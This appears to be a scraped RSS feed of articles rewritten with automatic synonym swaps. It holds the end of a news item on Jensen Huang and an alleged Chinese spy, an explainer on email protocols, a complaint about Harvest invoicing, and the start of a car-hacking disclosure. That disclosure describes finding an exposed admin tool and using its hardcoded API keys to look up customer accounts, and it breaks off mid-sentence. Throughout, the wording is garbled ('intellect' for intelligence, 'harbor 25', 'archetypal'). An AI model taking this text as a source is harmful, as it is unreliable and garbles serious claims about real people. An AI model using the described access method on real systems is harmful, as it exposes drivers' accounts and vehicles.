Nvidia's CEO.</span> <span> <span e-name="image-source" itemprop="creditText">Alex Wroblewski / AFP via Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>President Donald Trump backed Nvidia CEO Jensen Huang on Sunday following Huang stated he had been <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">unfaithful to his wife</a> alongside a female US intellect reportedly suspects was a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Chinese spy</a>.</p><p>"I think he's an honest guy," Trump told reporters on Sunday. "I think he likely has an excuse for it. You have to comprehend it."</p><p>Trump stated that in reply to a inquiry concerning whether he wishes he had acted on US intellect concerning the matter earlier.</p><p>Trump stated he has not spoken to Huang concerning the matter, but added that Huang has done an "amazing job" for the US and should remain Nvidia's CEO.</p><p>In a memo to Nvidia workforce on Sunday, Huang stated that he had been unfaithful to his spouse and that his actions had hurt his family. He added that Nvidia's commission was launching an inquiry into whether he was targeted by a abroad intellect agency.</p><p>Late final month, The New York Times reported that US intellect agencies had concluded that Huang was the mark of a Chinese spy plot. The outlet reported that Alice Huang, a Chinese endeavor administrator and Nvidia part buyer who is not connected to the Nvidia CEO, had developed a near association alongside him and had passed data to Beijing. She had been recruited to search data and possibly shove for additional advanced Nvidia chips to be made accessible in China, The Times reported. </p><p>Huang earlier stated he had a "<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">normal" endeavor relationship</a> alongside the woman.</p><p>Nvidia did not immediately react to a petition for comment.</p><p>On Sunday, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Nvidia's commission </a>said it had no logic to accept that national safety or business secrets had been compromised, but stated its enquiry would analyze the accessible information. It added that Huang was cooperating alongside the investigation.</p> <p>Huang has rotate into an increasingly influential sound in Washington's conversation complete chip-export restrictions on China. He has taken the stance that strict limits on US part revenue could backfire by accelerating the growth of Chinese competitors.</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Shuby is a elder newsman at Business Insider's Singapore bureau, anywhere she writes concerning tech, alongside a concentration on AI training and vibe-coding startups.She earlier interned for Bloomberg News and CNBC. She studied communications and endeavor at the National University of Singapore. In 2026, she won the Singapore Press Club Tech Journalism Award for her activity on the hidden individual disbursal of Meta's chatbot training program and an expos&eacute; on the dreary market for AI gig-work accounts.Have a tip? Contact her via email at sgoel@insider.com or on safe messaging app Signal at @shuby.85. We can keep sources anonymous.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/trump-reacts-to-the-jensen-huang-affair-he-probably-has-an-excuse-for-it-76216</guid> <pubDate>Mon, 09 Nov 2026 04:12:32 +0700</pubDate> <author><![CDATA[support@mycoding.id (Shubhangi Goel)]]></author> </item> <item> <title><![CDATA[A Bit about Email]]></title> <description><![CDATA[A Bit about Email. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/a-bit-about-email-76218</link> <content:encoded><![CDATA[<div> <b title="Publication">2026-11-06</b> &mdash; <b title="Last edit">2026-11-08</b> Before you torch and pitchfork me, I'm conscious most of this is simplified and doesn't go into border cases, equal although the net is composed entirely of border cases. Otherwise, I'd be penning a entire book. <p> First, several terminology; A representative email volition former through many distinct components on the way to the recipient: </p> <pre> 1. Sender's MUA [Via SMTP on harbor 465] 2. Sending MSA 3. Sending MTA [Via SMTP on harbor 25] 4. Receiving MTA 5. Receiving LDA and communication store [Via IMAP] 7. Receiver's MUA </pre> <p> (These aren't all necessarily distinct machines or equal distinct programs, but it is helpful to name all step.) </p><p> The communication person delegate (MUA) runs on the user's device and is what they use to dispatch or peruse messages. Let's say they dispatch something: that communication volition be uploaded to to the submission delegate (MSA) which checks the user's password before handing off to the communication transfer delegate (MTA). </p><p> The transfer agent's job is to conversation to another communication servers and get the communication to the receiving side's MTA. Once received, it's stated to the local shipment delegate (LDA) to be stored until the recipient checks their email. The name "LDA" is non-standard, but I use it to evade having four distinct abbreviations differing by a sole letter. </p><p> <em>The logic for this structure</em> is that whenever the scheme was being designed (around 1980), most organizations could lone oversee a sole server. Maintenance was a complete period job and updates frequently required multiple days of downtime. A well-connected device power have dedicated single-digits megabit/second nexus that worked fractional the time. </p><p> This forced the MTA and MUA distinction: if the recipient's server isn't up whenever the email is set, the sending MTA volition preserve the communication and re-attempt shipment later. This way, abbreviated outages don't logic bounced mail. Since the communication client is an interactive program the person runs, a distinct communication shop is needed to keep the email until it can be read. </p><p> Most MTAs are configured to continue retrying a communication for five days, normally alongside exponential backoff: mine volition delay 5 minutes following the archetypal failure, and addition the duration to one hr in prolonged outages. </p><p> The MSA and LDA have continually existed in several capacity, but have gotten a lot additional complicated when group started accessing email from their own computers alternatively or remotely logging onto a server. </p><h2><em>SMTP</em></h2> <p> Most communication happens complete the Simple Mail Transfer Protocol, including MTA-MTA delivery. To narrow it downward a bit, I'll feign do be an MTA sending email to blog@maurycyz.com. </p><p> The archetypal stage is to appearance up the receiving MTA for that domain: </p> <pre> # dig MX maurycyz.com [snip] maurycyz.com. 300 IN MX 1 smallcrow.com. [snip] # dig A smallcrow.com [snip] smallcrow.com. 300 IN A 65.109.172.162 [snip] </pre> <p> Email is old adequate to have it's own dedicated DNS document alternatively of using subdomain hacks or TXT abuse. The figure is a precedence (smaller is higher), which is used if multiple hosts are specified: a big email provider volition have multiple servers to justify timely delivery. </p><p> SMTP is a comparatively straightforward content based protocol. The one capture is that most communication servers volition necessitate a CRLF as a data terminator. This can frequently be sent alongside ctrl-m, but using a tool that automatically inserts cartridge-return bytes is easier: </p> <pre> # telnet telnet&gt; set crlf Will dispatch wagon returns as telnet &lt;CR&gt;&lt;LF&gt;. telnet&gt; open smallcrow.com 25 Trying 65.109.172.162... Connected to smallcrow.com. Escape character is '^]'. 220 smallcrow.com ESMTP Postfix HELO nowhere 250 smallcrow.com MAIL FROM:&lt;me@nowhere&gt; 250 2.1.0 Ok RCPT TO:&lt;blog@maurycyz.com&gt; 250 2.1.5 Ok DATA 354 End data alongside &lt;CR&gt;&lt;LF&gt;.&lt;CR&gt;&lt;LF&gt; From: &lt;me@nowhere&gt; To: &lt;blog@maurycyz.com&gt; Hello, world. . 250 2.0.0 Ok: queued as C870D7CD93 QUIT 221 2.0.0 Bye </pre> <p> Each row sent is a command, to which the distant server responds alongside a three numeral figure followed by a individual readable explaintaion. 200 responses average it worked, 300 is "carry on...", 400 indicates impermanent errors which inform the sender to try again later, 500 errors signify that the email have to be returned as un-deliverable. </p><p> (If this seems akin to HTTP, that's no coincidence. A lot of the web, including its header syntax, was lifted from SMTP) </p><p> The archetypal command is continually HELO (or EHLO), followed the sending MTA's hostname. This is normally not the identical hostname that's in an email address, but many providers necessitate it to equivalent the sender's IP address. . The next two, MAIL FROM and RCPT TO define the location to provision to, and the location for any nonaccomplishment notifications. Bounce messages are normally generated one stage up from anywhere the error occurred: in most cases the receiving MTA has a issue and sends an error code to the sending MTA, but by that period MSA has already disconnect, forcing an emailed notification. Those notification themselves use an bare MAIL FROM to evade infinite loops. </p><p> Once the location has been stated and accepted, a DATA command is sent, followed by the genuine message. This, at a minimum, contains the "From" and "To" headers alongside alongside several text. The communication is terminated alongside a solitary duration to which the server replies to signify that the communication was sucessfuly handed off. </p><p> <em>Final hop MTAs</em> should onward the email to the LDA before sending rear a position code. This ensures that they never obtain a communication which they can't deliver, which would outcome in a error notification. This "backscatter" communication interacts seriously alongside spammers that forge MAIL FROM: it turns their evidently bogus communication into one that is apt to be delivered and logic a nusance. </p><p> There is no necessity for the addresses inner the email to equivalent the ones in MAIL FROM and RCPT TO (also known as the envelope). The most average logic of this is a communication that has been forwarded. For example, a mailing catalog volition set the letter cover destination to equivalent all member's email, but keep the first "From" and "To" headers intact so that replies activity correctly. The letter cover from volition normally be changed to item to location the catalog director volition inspect for error notifications. </p><p> Now, it's not that intermediate systems don't modify the headers: Most stages volition add a "received" header to document anywhere they got the message. </p><p> <em>While required for MTA to MTA communication</em>, SMTP is used throughout the entire system. The communication client submits email using a distinct port, but complete the identical protocol. Communication between inner components (i.e. MTA to LDA) frequently uses the closely connected Local Mail Transfer Protocol: the chief difference is the assumption that the receiver doesn't have a communication queue and volition either provision the communication immediately or come back an error. </p><p> Submission normally uses TLS to harbor 465, alongside the supplement of a password (in base64): </p><pre> AUTH PLAIN 334 AGh1bnRlcgBodW50ZXIy 235 2.7.0 Authentication successful </pre> <p> The one item that's considerably distinct is the MUA's fetch, which operates on a "pull" basis. I won't go into the syntax here, but it's not terribly complicated. </p><p> ... but if you really try sending an email to, say, gmail, according to what I've written so far, it won't work. Some of that is because of them enforcing things akin the Message-Id header: a distinctive identifier used to de-duplicate communication in cases anywhere the receiving MTA accepts an email but the association drops before the sender is informed concerning this. This causes the sender to try again later, which duplicating the message. </p><p> However, a big part of it is... </p><h2><em>Authentication</em></h2> <p> Base SMTP trusts that all sender is be fine behaved: anyone can dispatch email as anyone else. In fact, many hosts were configured to obtain and relay communication from anyone as a conveyance for whenever someone's customary server was down. </p><p> The first resolution to bad behavior was to get the culprit kicked off the internet... but that cut distinct quickly formerly the network grew and companies began getting involved: the archetypal documented case of spam email was sent in 1978 and sold 13 myriad dollars in computers. While authentication doesn't forestall spam, it makes it imaginable to display out unwanted senders. </p><p> Verifying sender addresses is not imaginable using the MX record, since there is no justify the identical presenter is used for receiving and sending mail. The simplest resolution is to publish the sending location in a seperate DNS record: </p><pre> @ TXT v=spf1 ip4:65.109.172.162 ip6:2a01:4f9:c011:841a:b01d::1 -all ; Roughly: ; authorize from 65.109.172.162 ; authorize from 2a01:4f9:c011:841a:b01d::1 ; refuse otherwise </pre> <p> However, that's not fairly adequate for the email empire. Big-tech additionally wants the email build to be signed alongside a cryptographic key published via a (DKIM) DNS record. This requires adding a stage to sending mails, normally as a plugin for the MTA. </p><p> While I rag on big-tech a lot, but this is really a sensible policy: SPF can lone verify the MAIL FROM, since forwarding the email volition chance the origin IP address. DKIM signatures are attached to the communication and can be used to verify the first sender (the "From" address) of a message, which is what's really shown to the person in most cases. </p><p> <em>However</em>, the two of these don't really forestall spam, since spammers can fair set up a few TXT records. Big-tech additionally requires the sender's HELO hostname to be accordant alongside their IP address, via the two onward and reverse DNS. This helps forestall compromised devices from spewing out junk: a astute TV is improbable to have a meaningful PTR record, and if it does, that hostname won't determine rear to it's address. </p><p> ... unfortunately this guideline additionally makes it unattainable to immediately dispatch communication from most residential net connections unless you own the location block. Of course, the resolution is to pay a big-tech business prosperity to relay your emails. If you don't akin this, discover a communication provider alongside additional permissive rules: the lone logic big-tech is capable to keep their racket operating that five or so companies authority 99% of email. </p><h2><em>The message</em></h2> <p> This is anywhere SMTP stops being so simple. Let's appearance at the simplest imaginable email formerly it's been delivered: </p><pre> Return-Path: &lt;alex@there&gt; Delivered-To: bob@here Received: from here by current alongside LMTP id bs05E10S7Go4VQMAHrglgg (envelope-from &lt;alex@there&gt;) for &lt;bob@here&gt;; Thu, 05 Nov 2026 05:21:33 +0000 DKIM-Filter: OpenDKIM Filter v2.11.0 current B05E67CD18 Received-SPF: None (mailfrom) identity=mailfrom; client-ip=313.33.33.337; helo=there; envelope-from=alex@there; receiver=here Received: from there (unknown [313.33.333.337]) by current (Postfix) alongside SMTP id B05E67CD18 for &lt;bob@here&gt;; Thu, 05 Nov 2026 05:20:42 +0000 (UTC) From: alex@there To: bob@here Hello, World! </pre> <p> The format of the headers is superficially akin to HTTP headers, except that no row should exceed 78 bytes. (without the CRLF row terminator) Overlong headers are damaged up and newly created lines are prefixed alongside whitespace to signify that they are a continuation of the final header. </p><p> Mail application mostly preppends headers to the commencement of a message, so it's helpful to peruse them backwards. "From" and "to" are fairly oneself explanatory. Next, the "received" header contains a note from the receiving MTA: it includes the source's HELO name, IP address, RCPT TO and a timestamp. </p><p> The MTA afterward performed SPF and DKIM checks, which came up empty: There's no signature and the MAIL FROM hostname is not publically resolvable. </p><p> The LDA added another "received" header, although it's not extremely helpful. More importantly, it tacked on the "return-path" alongside the first MAIL FROM location and recorded the mailbox the communication was delivered to. </p><p> <em>However, the build isn't continually plain text.</em> This is an email that includes formatting: </p><pre> [...] MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=----IX71FHL6PHA0538LS1WKT2W9SF7S8X Content-Transfer-Encoding: 7bit ------IX71FHL6PHA0538LS1WKT2W9SF7S8X Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hello, World! I can do bold text! ------IX71FHL6PHA0538LS1WKT2W9SF7S8X Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: quoted-printable &lt;!DOCTYPE html&gt;&lt;html&gt;&lt;body&gt;&lt;div dir=3D"auto"&gt;Hello, world! I can do &lt;b&gt;bold&amp;lt= /b&gt; text&lt;/div&gt;&lt;/body&gt;&lt;/html&gt; ------IX71FHL6PHA0538LS1WKT2W9SF7S8X-- </pre> <p> That's right, it's a web page! </p><p> However, since not all email clients can comprehend HTML, the communication additionally includes a plain content version. This is done using MIME's "multipart" encoding, in this case, multipart/alternative, which indicates all the versions are functionally equivalent. </p><p> MIME's type figure has been stuck at 1.0 since 1996. </p><p> The delimiter is a randomly chosen string, which allows multiple multiparts to be nested inner without escaping. Each division of the communication has it's own headers, in this case, indicating that it's sent in the quoted-printable encoding. This allows the email communication to merge any bytes without exposing the MTA to scary things akin non-seven-bit ASCII: remember, the SMTP is 45 years old. </p><p> In quoted-printable, equal signs are used as the escape character: if followed by two hex digits, it decodes to that byte. If followed by a newline, the two characters are removed. This is used to interrupt lengthy lines that could alternatively logic trouble. </p><p> In this email, "=3D" becomes a literal equal sign and the two lines are joined together. If you've always seen an email alongside stray equals or missing one or two characters ~ all 80 bytes, damaged quoted-printable decoding is normally the culprit. </p><p> The second "content-transfer-encoding" is base64, which is used for binary records akin attached images: </p><pre> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="5ZTNvId/H+rlk7Fr" Content-Disposition: inline --5ZTNvId/H+rlk7Fr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Check out this file: --5ZTNvId/H+rlk7Fr Content-Type: application/octet-stream Content-Disposition: attachment; filename="file.bin" Content-Transfer-Encoding: base64 J7mtSdbQItOAi345nwaNkkTXrnDIRPA0DSwhbSAOwm2C/KoHjQIotY9lnJRMBRk9InQaHOxL bb7DGd9EN6uRpjvCbox9xblAh3CxH7sl+YAkYcKw1V100RpBwMhgaXfUJBB3oRkLffgRwEyK v9qFBLp9zZ+SiRJoRWbA4aZLexPhHZ35vFROVKYtiAeMlD1s15v3kPZvEADam0e45BoSaqmp 1S3z3b5wBIFHJUxQULD589MKaFx2Z2A+91pl/pbZWmZkzt55D/hZ05kjUUbXUnDnTYAQE2Gk WnN+SnrQvfEO+Tz7AdrbLD1q2DgwWW+k0cVJLKjdwRxesGhAkQCZfHVrno6R4iXjTbInIbQv hXzQiV840iUiUhk282WADd1ffJ0sot2Waf7XHLIE1lZVFQ3iGofYbw8pZlg3sb35AnIWPZKv fbC6Yh95RV23R4K2NHeBX1rpl4bSSiftnD2RbsBzv7cgw/6M/Lj3O40NFGAaUC+J7TpAaXdi tvlPsNQhMo8QRf/ub7WK42cPUlz1fKq1k1pzGN96YOsE5azMfF4vLANtbtbVmLIp2WmgBk0P 9IGMWy/xIAe0cOh+bqzru2+ojJGgx9uX4VSTP9BaTOwkVX5+rQfpp1qJodtHiO8sHw6Pg+Mg WcpqQPC7118ccuT44cVpIRkwOSoJzsW++WM= --5ZTNvId/H+rlk7Fr-- </pre> <p> This is why size limits are frequently disappointing: the email volition be 33% larger than the attached file. More productive encodings (raw binary data) are supported by several MTAs, but may have to be converted to base64 location downward the path... which would interrupt DKIM signing. </p><p> <em>Generally</em>: </p><ul> <li>No encoding ("7-bit") can be used if the communication has abbreviated lines and fits in low-bit ASCII. However, "7-bit" is mostly seen as a null encoding for already encoded multipart containers.</li> <li>Quoted-printable if the communication is mostly text, but has item that risks breaking ancient software.</li> <li>Base64 for binary data.</li> </ul> <h2><em>About TLS</em></h2> <p> The SSL/TLS used by communication clients is efficiently the identical as for a browser: the communication provider must go to a certificate authority, demonstrate their character and get a certificate.. Algorithms and ciphers are impaired at the least clue they may be insecure. </p><p> However, MTAs operates on "trusted" networks... although it's small that an attacker can't get admission to net traffic, but that if they could, it would be imaginable for them to continue an ACME difficulty and obtain out a trusted certificate. </p><p> As a result, the goal is mostly to defend against passive eavesdropping: most sysadmins don't annoy dealing alongside a CA and use self-signed certificates. (it's not akin CAs have a fine track record: <a href="https://en.mycoding.id/category/technology" target="_blank">4</a>) </p><p> Another weird item concerning email is that MTAs don't use a distinct TLS port. All connections on harbor 25 commencement as plaintext, afterward the sender issues a STARTTLS command and hands complete the association to a SSL/TLS library. It's slightly janky, but it allows servers to attempt to use encryption and cleanly autumn rear if it's not supported. </p><p> Such an method isn't awesome for submissions, since a autumn rear would leak the password... and baddies on shared networks or nosy residential ISPs can band out the STARTTLS command. For this case, it's finest to default use the dedicated SSL submission port: 465. </p><p> (This harbor really has a bit of a history, alongside it being deprecated in favor of STARTTLS before being re-endorsed formerly we realized using optional SSL for passwords was a bad idea.) </p><h2><em>So what??</em></h2> <p> Unless you compose email connected application or run infrastructure, most of this data is deeply useless. However, there are a few things you power desire to remember. </p><p> <em>The underlying protocols authorize five days for delivery</em>, and it can sometimes obtain longer. Since users anticipate shipment in seconds and most emails are at smallest slightly period sensitive, some MTAs are configured to dispatch out postpone notification if a communication is taking a while. </p><p> You may desire to discover out if yours does this before assuming the recipient is ignoring you. </p><p> <em>Emails are digital postcards</em>. </p><p> A communication volition be stored and forwarded by multiple systems in plaintext. Anyone on the network way may be capable to peruse your email: SSL/TLS is not universally supported and can trivially be stripped out by energetic attackers. </p><p> This is an inherent part of email: there's no way to tack-on powerful encryption without breaking existing clients. If you need a justify of privacy, you must encrypt the communication before sending, and the recipient must decrypt it themselves. Be careful alongside built-in tools akin PGP: these mostly create it way too uncomplicated to accidentally hit "reply-all" without encrypting, in supplement to another flaws akin exposing the topic line. </p> PGP stuff <p> Since publication, multiple group have written to me explaining how obfuscating the topic row (or alert if the person fills it out) is completly unreasonable to anticipate from a for a self-proclaimed privacy tool. At smallest in my eyes, "encrypted messaging" method encrypted, not 90% encrypted and 10% plaintext. </p> <p> The deficiency of deniablity and onward secrecy can be excused as limitiations of email's store-and-forward architecture... but default plaintext and making no attempt to encrypt certain the topic row or attachments is a formula for disaster: at smallest alongside vanilla email, group cognize it is not encrypted. </p> <p> "Encrypted" email providers are mostly snake oil. While the communication shop can encrypt messages and a tradition MUA could decrypt them, the MTA must have admission to plaintext. As a result, it provides minimal to no safety against most assault vectors notwithstanding the "millitary class encryption". The lone way to fix email would be to get everyone to concur to toggle to an end-to-end encrypted protocol... but the entire item of email is worldwide compatability: encrypted messaging can exist, but encrypted email is contradictory. </p><p> The finest anticipation is to discover a communication provider that can be trusted not to snoop messages. That is to say, not an Advertising business (google) or one that's been pushing difficult for LLMs (microsoft / apple): both of these businesses create powerful incentives to peruse your messages. Although you'll motionless have to anticipation whoever you are communicating alongside isn't beign snooped on by their provider. </p><p> <em>Worse, DKIM signatures</em> act as a lifelong evidence that an email came from your provider's servers, equal if a communication is years old and has no apparent sequence of custody. This makes leaked, hacked, or snooped emails ideal blackmail material: since the bad performer can trivially demonstrate they haven't been fabricated. </p><p> This property, called non-repudiation, is mostly not desirable for messaging systems. Avoiding signing not an choice if you desire to interoperate alongside big-tech, but it is imaginable to regularly rotate and publish personal keys. Before they key is published, the signature can be trusted to verify it is legitimate. However, formerly the key has been published, the signature can been forged by anyone and is rendered retroactively untrustworthy. </p><p> Since authentication is checked during shipment by the MTA and LDA, this doesn't power how the email volition be handled. However, it volition mold doubt on the authenticity of leaked messages since the signature could have been forged alongside minimal effort. </p><p> While key rotation is average practice, most communication providers don't publish their old personal keys, so the signature is motionless trustworthy (modulo the assistance being hacked). I would advise against emailing item you wouldn't be comfortable study out in public. </p> <ul> <li><a href="https://en.mycoding.id/category/technology" target="_blank">https://www.rfc-editor.org/info/rfc821/</a>: Original SMTP</li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">https://www.rfc-editor.org/info/rfc2045/</a>: MIME extended communication format</li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">https://www.rfc-editor.org/info/rfc7208/</a>: SPF Authentication</li> <li><a href="https://en.mycoding.id/category/technology" target="_blank">https://www.rfc-editor.org/info/rfc6376/</a>: DKIM signing</li> </ul> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/a-bit-about-email-76218</guid> <pubDate>Mon, 09 Nov 2026 03:46:21 +0700</pubDate> <author><![CDATA[support@mycoding.id (Doris Putra)]]></author> </item> <item> <title><![CDATA[RIP, Harvest]]></title> <description><![CDATA[RIP, Harvest. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/rip-harvest-76219</link> <content:encoded><![CDATA[<div> <p>I&rsquo;ve been a self-employed contractor for concerning a decade now, and I&rsquo;m bummed concerning <a href="https://en.mycoding.id/category/technology" target="_blank">Harvest</a>.</p> <p>Harvest was a time-tracking and invoicing service. You&rsquo;d track how many hours or weeks you spent on a project, put together an invoice, email it to the client, and near it out whenever they paid. There was a small Stripe integration for accepting credit and ACH payments on the invoice web view. A historic diagram of total billed/paid amounts complete time, and a array of invoices. Harvest was exactly what you desire from small-business software: it solved a well-defined issue alongside a reliable, uncomplicated interface, and did so at a sensible monthly price. They managed to evade range creep and never tried to rotate into an accounting platform, or a blockchain for washing machines.<sup id="fnref-1"><a href="https://en.mycoding.id/category/technology" target="_blank">1</a></sup> I loved Harvest and raved concerning it to all self-employed individual I met.</p> <p>Back in 2025 Harvest got bought out by <a href="https://en.mycoding.id/category/technology" target="_blank">Bending Spoons</a>, the business that <a href="https://en.mycoding.id/category/technology" target="_blank">gutted Vimeo</a>. I was concerned they power ruin it, but was occupied alongside another things and didn&rsquo;t have period to appearance for new invoicing software.</p> <p>Long narrative short, they raised my cost from $13.32 to $133.98 per duration by moving everyone to a new &ldquo;enterprise&rdquo; scheme and &ldquo;unlimited&rdquo; use billing model, which is AFAICT, exactly what I had before. There&rsquo;s additionally a &ldquo;flex&rdquo; scheme which expenses $12.65/mo&hellip; but that scheme now skims an additional 2% on top of the customary ~3% cardstock transaction fees. To be clear, that 3% pays for the entire credit cardstock network, affirmative all the group operating at Stripe and Mastercard, affirmative the financial hazard of chargebacks and fraud, etc. Harvest isn&rsquo;t doing any of that work. I don&rsquo;t cognize concerning you, but I don&rsquo;t think I need to expend 2% of my income revenue to dispatch a brace PDFs a duration and cover a Stripe web form.</p> <p>I wrote to Harvest concerning this, and discovered that they don&rsquo;t peruse client emails any more. Instead they have a Large Language Model often vomit thousands of words at you. I&rsquo;m no alien to enshittification, but man, I did not anticipate the speed at which Bending Spoons would run a absolutely fine business into the ground.</p> <p>Time to discover a new invoicing service, I guess. Maybe bookkeeping too&mdash;Intuit&rsquo;s Quickbooks Online seems to have entirely jumped the shark. Any of y&rsquo;all freelancers have a scheme you like?</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/rip-harvest-76219</guid> <pubDate>Mon, 09 Nov 2026 02:58:21 +0700</pubDate> <author><![CDATA[support@mycoding.id (Doris Putra)]]></author> </item> <item> <title><![CDATA[Unlocking any car from X brand in most of the world]]></title> <description><![CDATA[Unlocking any car from X brand in most of the world. Comments]]></description> <media:thumbnail url="https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.18.54.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/unlocking-any-car-from-x-brand-in-most-of-the-world-76214</link> <content:encoded><![CDATA[<div id="content"> <p>November 7 2026<span></span></p> <p>I've continually had a gentle place for this particular car brand. Our family has owned a few of them complete the years, and they've served us incredibly well. In 2023, I bought a new four rotor drive/SUV from them, and it was the archetypal period I had admission to their connected car platform.</p><p>Having looked at platforms akin this before (<a href="https://en.mycoding.id/category/technology" target="_blank" rel="noreferrer">previous works</a>), I was sceptical concerning how safe they really were. I suspected there was item there, but existence kept getting in the way of really looking. This July, I collaborated alongside Sam Curry to obtain a appearance at the safety of a important automaker's connected car systems. Throughout this post, I'll mention to them merely as "the automaker".</p><p>When you typically think of car hacking, it's frequently uncomplicated to jump into the hardware flank of things, but my backdrop sits beautiful squarely in compromising internet-facing web applications and infrastructure. Regardless of all the hardware bits and bobs, it all connects rear to several assistance that, by design, have to be reachable from the internet.</p><p>The journey started alongside a uncomplicated question: what infrastructure does the app conversation to whenever I remotely unlock my car? To activity this out, I downloaded the APK and decompiled it, eventually reconstructing the API requests that were being made.</p><p>Going through the code, the chief item of communication seemed to be resources under *.redacted-telematics.com.au:</p><pre>dartExecutor.executeDartEntrypoint(createDefault, CollectionsKt.r(gson.toJson(new GlobalConfigParams(false, g11, com.redacted.app.xcapp.a.f69866f, "X", str)), new Gson().toJson(new ApiConfig("https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au", "https://api.redacted-telematics.com.au" ...</pre><p>Almost all part of the person use called rear to redacted-telematics.com.au. What alternatively existed under this domain?</p><p>Running connected car infrastructure can be fairly complex, and managing it requires a mix of admin tools, staging, dev, and QA environments, to create certain that customers get a spotless experience. Whether all of that have to be sitting on the community internet, accessible to anyone consenting to do several essential reconnaissance, is a distinct story.</p><p>One asset caught my notice additional than the others. admintool.redacted-telematics.com.au returned a leaf titled TEST HARNESS. Who can oppose a subdomain alongside admintool in it?</p><p>Visiting this subdomain presented a extremely plain and gray login screen, which didn't exactly ooze quality, stated it presented a logout clasp before we'd logged in.</p><p>I affection that most single-page applications container their complete JavaScript bundle equal whenever all they need to render is a login page. Sure, several additional contemporary frameworks divided out JavaScript records so that they lone assist what is necessary, but in this case, we could comb through the ample JavaScript bundle to comprehend what this "admin tool" really let you do.</p><figure><img src="https://shubs.io/content/images/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png" alt="" loading="lazy" width="1740" height="1444" srcset="https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-07-24-at-09.35.19@2x.png 1740w" sizes=" 720px) 720px"><figcaption><span>Oozing quality</span></figcaption></figure><figure><img src="https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.10.32.png" alt="" loading="lazy" width="886" height="790" srcset="https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.10.32.png 600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.10.32.png 886w" sizes=" 720px) 720px"><figcaption><span>Who equal says JavaScript bundles?</span></figcaption></figure><p>Turns out this admin tool let you do fairly a lot. It had a affluent API that let the automaker's workforce engage alongside client accounts and manufacturing vehicles alongside extremely few restrictions. Reconstructing the requests, we established that a lot of these APIs needed no authentication beyond the hardcoded API keys sitting in the JavaScript bundle.</p><p>For example, we could appearance up person accounts by email address:</p><figure><img src="https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.12.40.png" alt="" loading="lazy" width="1954" height="1074" srcset="https://shubs.io/content/images/size/w600/2026/11/CleanShot-2026-11-07-at-17.12.40.png 600w, https://shubs.io/content/images/size/w1000/2026/11/CleanShot-2026-11-07-at-17.12.40.png 1000w, https://shubs.io/content/images/size/w1600/2026/11/CleanShot-2026-11-07-at-17.12.40.png 1600w, https://shubs.io/content/images/2026/11/CleanShot-2026-11-07-at-17.12.40.png 1954w" sizes=" 720px) 720px"></figure><p>But that's fair not fine enough. If we desire to unlock any of their cars from fair knowing the figure plate, we're going to need to do improved than 